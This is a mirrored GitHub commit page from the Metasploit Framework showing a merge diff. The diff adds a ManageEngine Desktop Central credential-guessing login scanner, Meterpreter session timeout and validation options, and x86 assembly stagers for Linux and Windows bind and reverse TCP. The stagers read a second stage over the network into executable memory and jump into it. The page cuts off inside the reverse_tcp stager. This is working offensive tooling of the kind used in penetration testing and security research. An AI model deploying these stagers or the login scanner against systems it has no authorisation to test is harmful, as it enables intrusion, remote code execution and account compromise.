1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-09-18 14:00:12 +02:00

Merge branch 'upstream' into staging/rails-4.0

Conflicts:
	Gemfile.lock
This commit is contained in:
darkbushido 2015-05-05 11:00:38 -05:00
commit 26e7fe15f9
No known key found for this signature in database
GPG Key ID: 3922EB70FB80E8DD
62 changed files with 2609 additions and 615 deletions

View File

@ -9,7 +9,7 @@ PATH
json
metasploit-concern (= 1.0.0.pre.rails.pre.4.0)
metasploit-model (= 1.0.0.pre.rails.pre.4.0)
meterpreter_bins (= 0.0.22)
metasploit-payloads (= 0.0.3)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -122,6 +122,7 @@ GEM
metasploit-model (1.0.0.pre.rails.pre.4.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (0.0.3)
metasploit_data_models (1.0.0.pre.rails.pre.4.0b)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
@ -132,7 +133,6 @@ GEM
postgres_ext
railties (>= 4.0.9, < 4.1.0)
recog (~> 1.0)
meterpreter_bins (0.0.22)
method_source (0.8.2)
mime-types (2.4.3)
mini_portile (0.6.2)

View File

@ -0,0 +1,135 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
class ManageEngineDesktopCentral < HTTP
DEFAULT_PORT = 8020
PRIVATE_TYPES = [ :password ]
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
# Checks if the target is ManageEngine Dekstop Central.
#
# @return [Boolean] TrueClass if target is MSP, otherwise FalseClass
def check_setup
login_uri = normalize_uri("#{uri}/configurations.do")
res = send_request({'uri' => login_uri})
if res && res.body.include?('ManageEngine Desktop Central')
return true
end
false
end
# Returns the latest sid from MSP
#
# @param [Rex::Proto::Http::Response]
# @return [String] The session ID for MSP
def get_sid(res)
cookies = res.get_cookies
sid = cookies.scan(/(DCJSESSIONID=\w+);*/).flatten[0] || ''
sid
end
# Returns the hidden inputs
#
# @param [Rex::Proto::Http::Response]
# @return [Hash] Input fields
def get_hidden_inputs(res)
found_inputs = {}
res.body.scan(/(<input type="hidden" .+>)/).flatten.each do |input|
name = input.scan(/name="(\w+)"/).flatten[0] || ''
value = input.scan(/value="([\w\.\-]+)"/).flatten[0] || ''
found_inputs[name] = value
end
found_inputs
end
# Returns all the items needed to login
#
# @return [Hash] Login items
def get_required_login_items
items = {}
login_uri = normalize_uri("#{uri}/configurations.do")
res = send_request({'uri' => login_uri})
return items unless res
items.merge!({'sid' => get_sid(res)})
items.merge!(get_hidden_inputs(res))
items
end
# Actually doing the login. Called by #attempt_login
#
# @param username [String] The username to try
# @param password [String] The password to try
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def get_login_state(username, password)
login_uri = normalize_uri("#{uri}/j_security_check")
login_items = get_required_login_items
res = send_request({
'uri' => login_uri,
'method' => 'POST',
'cookie' => login_items['sid'],
'vars_post' => {
'j_username' => username,
'j_password' => password,
'Button' => 'Sign+in',
'buildNum' => login_items['buildNum'],
'clearCacheBuildNum' => login_items['clearCacheBuildNum']
}
})
unless res
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
end
if res.code == 302
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.to_s}
end
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
end
# Attempts to login to MSP.
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: LOGIN_STATUS::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(get_login_state(credential.public, credential.private))
rescue ::Rex::ConnectionError => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -527,6 +527,8 @@ class ReadableText
indent = opts[:indent] || DefaultIndent
col = opts[:col] || DefaultColumnWrap
return dump_sessions_verbose(framework, opts) if verbose
columns =
[
'Id',
@ -535,9 +537,6 @@ class ReadableText
'Connection'
]
columns << 'Via' if verbose
columns << 'PayloadId' if verbose
tbl = Rex::Ui::Text::Table.new(
'Indent' => indent,
'Header' => "Active sessions",
@ -554,12 +553,7 @@ class ReadableText
row = [ session.sid.to_s, session.type.to_s, sinfo, session.tunnel_to_s + " (#{session.session_host})" ]
if session.respond_to? :platform
row[1] += " " + session.platform
end
if verbose
row << session.via_exploit.to_s
row << session.payload_uuid.to_s
row[1] << (" " + session.platform)
end
tbl << row
@ -568,6 +562,59 @@ class ReadableText
return framework.sessions.length > 0 ? tbl.to_s : "#{tbl.header_to_s}No active sessions.\n"
end
# Dumps the list of active sessions in verbose mode
#
# @param framework [Msf::Framework] the framework to dump.
# @param opts [Hash] the options to dump with.
# @option opts :session_ids [Array] the list of sessions to dump (no
# effect).
# @return [String] the formatted list of sessions.
def self.dump_sessions_verbose(framework, opts={})
ids = (opts[:session_ids] || framework.sessions.keys).sort
out = "Active sessions\n" +
"===============\n\n"
if framework.sessions.length == 0
out << "No active sessions.\n"
return out
end
framework.sessions.each_sorted do |k|
session = framework.sessions[k]
sess_info = session.info.to_s
sess_id = session.sid.to_s
sess_tunnel = session.tunnel_to_s + " (#{session.session_host})"
sess_via = session.via_exploit.to_s
sess_type = session.type.to_s
sess_uuid = session.payload_uuid.to_s
sess_checkin = "<none>"
sess_machine_id = session.machine_id.to_s
if session.respond_to? :platform
sess_type << (" " + session.platform)
end
if session.respond_to?(:last_checkin) && session.last_checkin
sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}"
end
out << " Session ID: #{sess_id}\n"
out << " Type: #{sess_type}\n"
out << " Info: #{sess_info}\n"
out << " Tunnel: #{sess_tunnel}\n"
out << " Via: #{sess_via}\n"
out << " UUID: #{sess_uuid}\n"
out << " MachineID: #{sess_machine_id}\n"
out << " CheckIn: #{sess_checkin}\n"
out << "\n"
end
out << "\n"
return out
end
# Dumps the list of running jobs.
#
# @param framework [Msf::Framework] the framework.

View File

@ -255,9 +255,10 @@ class Meterpreter < Rex::Post::Meterpreter::Client
def kill
begin
cleanup_meterpreter
self.sock.close
self.sock.close if self.sock
rescue ::Exception
end
# deregister will actually trigger another cleanup
framework.sessions.deregister(self)
end
@ -298,6 +299,24 @@ class Meterpreter < Rex::Post::Meterpreter::Client
console.disable_output = original
end
#
# Validate session information by checking for a machine_id response
#
def is_valid_session?(timeout=10)
return true if self.machine_id
begin
self.machine_id = self.core.machine_id(timeout)
return true
rescue ::Rex::Post::Meterpreter::RequestError
# This meterpreter doesn't support core_machine_id
return true
rescue ::Exception => e
dlog("Session #{self.sid} did not respond to validation request #{e.class}: #{e}")
end
false
end
#
# Populate the session information.
#
@ -448,6 +467,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
attr_accessor :binary_suffix
attr_accessor :console # :nodoc:
attr_accessor :skip_ssl
attr_accessor :skip_cleanup
attr_accessor :target_id
protected

View File

@ -12,11 +12,17 @@ module MeterpreterOptions
register_advanced_options(
[
OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]),
OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]),
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"])
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]),
OptBool.new('StagerCloseListenSocket', [false, "Close the listen socket in the stager", false]),
OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]),
OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]),
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]),
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', Rex::Post::Meterpreter::ClientCore::TIMEOUT_COMMS])
], self.class)
end
@ -35,43 +41,49 @@ module MeterpreterOptions
session.init_ui(self.user_input, self.user_output)
if (datastore['AutoLoadStdapi'] == true)
valid = true
session.load_stdapi
if datastore['AutoSystemInfo']
session.load_session_info
if datastore['AutoVerifySession'] == true
if not session.is_valid_session?
print_error("Meterpreter session #{session.sid} is not valid and will be closed")
valid = false
end
end
=begin
admin = false
begin
::Timeout.timeout(30) do
if session.railgun and session.railgun.shell32.IsUserAnAdmin()["return"] == true
admin = true
session.info += " (ADMIN)"
end
if valid
if datastore['AutoLoadStdapi'] == true
session.load_stdapi
if datastore['AutoSystemInfo']
session.load_session_info
end
if session.platform =~ /win32|win64/i
session.load_priv rescue nil
end
rescue ::Exception
end
=end
if session.platform =~ /win32|win64/i
session.load_priv rescue nil
if session.platform =~ /android/i
if datastore['AutoLoadAndroid']
session.load_android
end
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
if (datastore[key].empty? == false)
args = Shellwords.shellwords( datastore[key] )
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
session.execute_script(args.shift, *args)
end
end
end
if session.platform =~ /android/i
if datastore['AutoLoadAndroid']
session.load_android
end
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
if (datastore[key].empty? == false)
args = Shellwords.shellwords( datastore[key] )
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
session.execute_script(args.shift, *args)
end
# Terminate the session without cleanup if it did not validate
if not valid
session.skip_cleanup = true
session.kill
end
}

View File

@ -141,12 +141,21 @@ module BindTcp
# Increment the has connection counter
self.pending_connections += 1
# Timeout and datastore options need to be passed through to the client
opts = {
:datastore => datastore,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}
# Start a new thread and pass the client connection
# as the input and output pipe. Client's are expected
# to implement the Stream interface.
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
begin
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
handle_connection(wrap_aes_socket(client_copy), opts)
rescue
elog("Exception raised from BindTcp.handle_connection: #{$!}")
end

View File

@ -250,7 +250,7 @@ module ReverseHopHttp
#
# Patch options into the payload
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => ssl?,
:url => url,
:expiration => datastore['SessionExpirationTimeout'],
@ -260,7 +260,7 @@ module ReverseHopHttp
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
:proxy_pass => datastore['PayloadProxyPass'])
blob = encode_stage(blob)

View File

@ -52,8 +52,6 @@ module ReverseHttp
register_advanced_options(
[
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', (24*3600*7)]),
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]),
OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]),
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
@ -283,6 +281,8 @@ protected
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
@ -312,6 +312,8 @@ protected
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
@ -330,17 +332,19 @@ protected
# Patch options into the payload
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => ssl?,
:url => url,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'])
:ssl => ssl?,
:url => url,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'])
resp.body = encode_stage(blob)
@ -351,6 +355,8 @@ protected
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
@ -366,8 +372,13 @@ protected
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => payload_uri(req) + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
# TODO ### Figure out what to do with these options given that the payload ###
# settings might not match the handler, should we instead read the remote? #
:expiration => datastore['SessionExpirationTimeout'].to_i, #
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i, #
:retry_total => datastore['SessionRetryTotal'].to_i, #
:retry_wait => datastore['SessionRetryWait'].to_i, #
##############################################################################
:ssl => ssl?,
:payload_uuid => uuid
})

View File

@ -58,6 +58,8 @@ module Handler::ReverseHttp::Stageless
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],

View File

@ -169,12 +169,21 @@ module ReverseTcp
break
end
# Timeout and datastore options need to be passed through to the client
opts = {
:datastore => datastore,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}
if datastore['ReverseListenerThreaded']
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy|
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
handle_connection(wrap_aes_socket(client_copy), opts)
}
else
handle_connection(wrap_aes_socket(client), { datastore: datastore })
handle_connection(wrap_aes_socket(client), opts)
end
rescue ::Exception
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")

View File

@ -100,13 +100,13 @@ class Msf::Module::SiteReference < Msf::Module::Reference
elsif (in_ctx_id == 'CVE')
self.site = "http://cvedetails.com/cve/#{in_ctx_val}/"
elsif (in_ctx_id == 'CWE')
self.site = "http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html"
self.site = "https://cwe.mitre.org/data/definitions/#{in_ctx_val}.html"
elsif (in_ctx_id == 'BID')
self.site = "http://www.securityfocus.com/bid/#{in_ctx_val}"
elsif (in_ctx_id == 'MSB')
self.site = "http://technet.microsoft.com/en-us/security/bulletin/#{in_ctx_val}"
elsif (in_ctx_id == 'EDB')
self.site = "http://www.exploit-db.com/exploits/#{in_ctx_val}"
self.site = "https://www.exploit-db.com/exploits/#{in_ctx_val}"
elsif (in_ctx_id == 'US-CERT-VU')
self.site = "http://www.kb.cert.org/vuls/id/#{in_ctx_val}"
elsif (in_ctx_id == 'ZDI')

View File

@ -0,0 +1,178 @@
# -*- coding: binary -*-
require 'msf/core'
module Msf
###
#
# Complex bindtcp payload generation for Linux ARCH_X86
#
###
module Payload::Linux::BindTcp
include Msf::Payload::Linux
def close_listen_socket
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
end
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_bind_tcp(
port: datastore['LPORT'],
close_socket: close_listen_socket
)
end
conf = {
port: datastore['LPORT'],
close_socket: close_listen_socket,
reliable: true
}
generate_bind_tcp(conf)
end
#
# Generate and compile the stager
#
def generate_bind_tcp(opts={})
asm = asm_bind_tcp(opts)
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
space += 14
# Adding 6 bytes to the payload when we include the closing of the listen
# socket
space += 6 if close_listen_socket
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_bind_tcp(opts={})
#reliable = opts[:reliable]
close_socket = opts[:close_socket]
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
asm = %Q^
bind_tcp:
push 0x7d ; mprotect syscall
pop eax
cdq
mov dl,0x7
mov ecx,0x1000
mov ebx,esp
and bx,0xf000
int 0x80 ; invoke mprotect
xor ebx,ebx
mul ebx
push ebx ; PROTO
inc ebx ; SYS_SOCKET and SOCK_STREAM
push ebx
push 0x2 ; SYS_BIND and AF_INET
mov ecx,esp
mov al,0x66 ; socketcall syscall
int 0x80 ; invoke socketcall (SYS_SOCKET)
^
unless close_socket
asm << %Q^
; set the SO_REUSEADDR flag on the socket
push ecx
push 4
push esp
push 2
push 1
push eax
xchg eax,edi ; stash the socket handle
mov ecx, esp
push 0xe ; SYS_SETSOCKOPT
pop ebx
push 0x66 ; socketcall syscall
pop eax
int 0x80
xchg eax,edi ; restore the socket handle
add esp, 0x14
^
end
asm << %Q^
pop ebx
pop esi
push edx
push #{encoded_port}
push 0x10
push ecx
push eax
mov ecx,esp
push 0x66 ; socketcall syscall
pop eax
int 0x80 ; invoke socketcall (SYS_BIND)
shl ebx,1 ; SYS_LISTEN
mov al,0x66 ; socketcall syscall (SYS_LISTEN)
int 0x80 ; invoke socketcall
^
if close_socket
asm << %Q^
push eax ; stash the listen socket
^
end
asm << %Q^
inc ebx ; SYS_ACCEPT
mov al,0x66 ; socketcall syscall
mov [ecx+0x4],edx
int 0x80 ; invoke socketcall (SYS_ACCEPT)
xchg eax,ebx
mov dh,0xc ; at least 0x0c00 bytes
mov al,0x3 ; read syscall
int 0x80 ; invoke read
xchg ebx,edi ; stash the accept socket in edi
^
if close_socket
asm << %Q^
pop ebx ; restore the listen socket
mov al,0x6 ; close syscall
int 0x80 ; invoke close
^
end
asm << %Q^
jmp ecx ; jump to the payload
^
asm
end
end
end

View File

@ -0,0 +1,263 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
module Msf
###
#
# Complex bindtcp payload generation for Windows ARCH_X86
#
###
module Payload::Windows::BindTcp
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Windows::Exitfunk
def close_listen_socket
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
end
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_bind_tcp(
port: datastore['LPORT'].to_i,
close_socket: close_listen_socket
)
end
conf = {
port: datastore['LPORT'].to_i,
exitfunk: datastore['EXITFUNC'],
close_socket: close_listen_socket,
reliable: true
}
generate_bind_tcp(conf)
end
#
# Generate and compile the stager
#
def generate_bind_tcp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_bind_tcp(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
# TODO: need help with this from the likes of HD.
space = 277
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
space += 14
# if the payload doesn't need the listen socket closed then we save space. This is
# the case for meterpreter payloads, as metsrv now closes the listen socket once it
# kicks off (needed for more reliable shells).
space -= 8 unless close_listen_socket
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_bind_tcp(opts={})
reliable = opts[:reliable]
close_socket = opts[:close_socket]
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the newly connected clients socket
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
bind_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
push 8
pop ecx
push_8_loop:
push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8])
loop push_8_loop
; push zero for the flags param [8]
; push null for reserved parameter [7]
; we do not specify a WSAPROTOCOL_INFO structure [6]
; we do not specify a protocol [5]
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
; bind to 0.0.0.0, pushed earlier [4]
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save a pointer to sockaddr_in struct
push 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
call ebp ; bind( s, &sockaddr_in, 16 );
^
# Check for a failed bind() call
if reliable
asm << %Q^
test eax,eax
jnz failure
^
end
asm << %Q^
; backlog, pushed earlier [3]
push edi ; socket
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
call ebp ; listen( s, 0 );
; we set length for the sockaddr struct to zero, pushed earlier [2]
; we dont set the optional sockaddr param, pushed earlier [1]
push edi ; listening socket
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
call ebp ; accept( s, 0, 0 );
^
if close_socket
asm << %Q^
push edi ; push the listening socket to close
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
call ebp ; closesocket( s );
^
else
asm << %Q^
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
^
end
asm << %Q^
recv:
; Receive the size of the incoming second stage...
push 0 ; flags
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
^
# Check for a failed recv() call
if reliable
asm << %Q^
cmp eax, 0
jle failure
^
end
asm << %Q^
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more: ;
push 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
^
# Check for a failed recv() call
if reliable
asm << %Q^
cmp eax, 0
jle failure
^
end
asm << %Q^
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
^
if reliable
if opts[:exitfunk]
asm << %Q^
failure:
^
asm << asm_exitfunk(opts)
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
end
asm
end
end
end

View File

@ -2,8 +2,8 @@
require 'msf/core'
require 'msf/core/payload/windows'
module Msf
module Msf
###
#

View File

@ -29,17 +29,11 @@ module Payload::Windows::ReflectiveDllInject
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'PayloadCompat' =>
{
'Convention' => 'sockedi -https',
},
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
'Stage' =>
{
'Offsets' =>
{
'EXITFUNC' => [ 33, 'V' ]
},
'Payload' => ""
'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] },
'Payload' => ""
}
))
@ -85,6 +79,16 @@ module Payload::Windows::ReflectiveDllInject
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
# patch in the timeout options
timeout_opts = {
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
}
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
# patch the target ID into the URI if specified
if target_id
i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")

View File

@ -0,0 +1,242 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
module Msf
###
#
# Complex reverse_tcp payload generation for Windows ARCH_X86
#
###
module Payload::Windows::ReverseTcp
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Windows::Exitfunk
#
# Register reverse_tcp specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_reverse_tcp(
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
)
end
conf = {
host: datastore['LHOST'],
port: datastore['LPORT'],
retry_count: datastore['ReverseConnectRetries'],
exitfunk: datastore['EXITFUNC'],
reliable: true
}
generate_reverse_tcp(conf)
end
#
# Generate and compile the stager
#
def generate_reverse_tcp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_tcp(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# Reliability adds 10 bytes for recv error checks
space += 10
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_reverse_tcp(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
reliable = opts[:reliable]
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
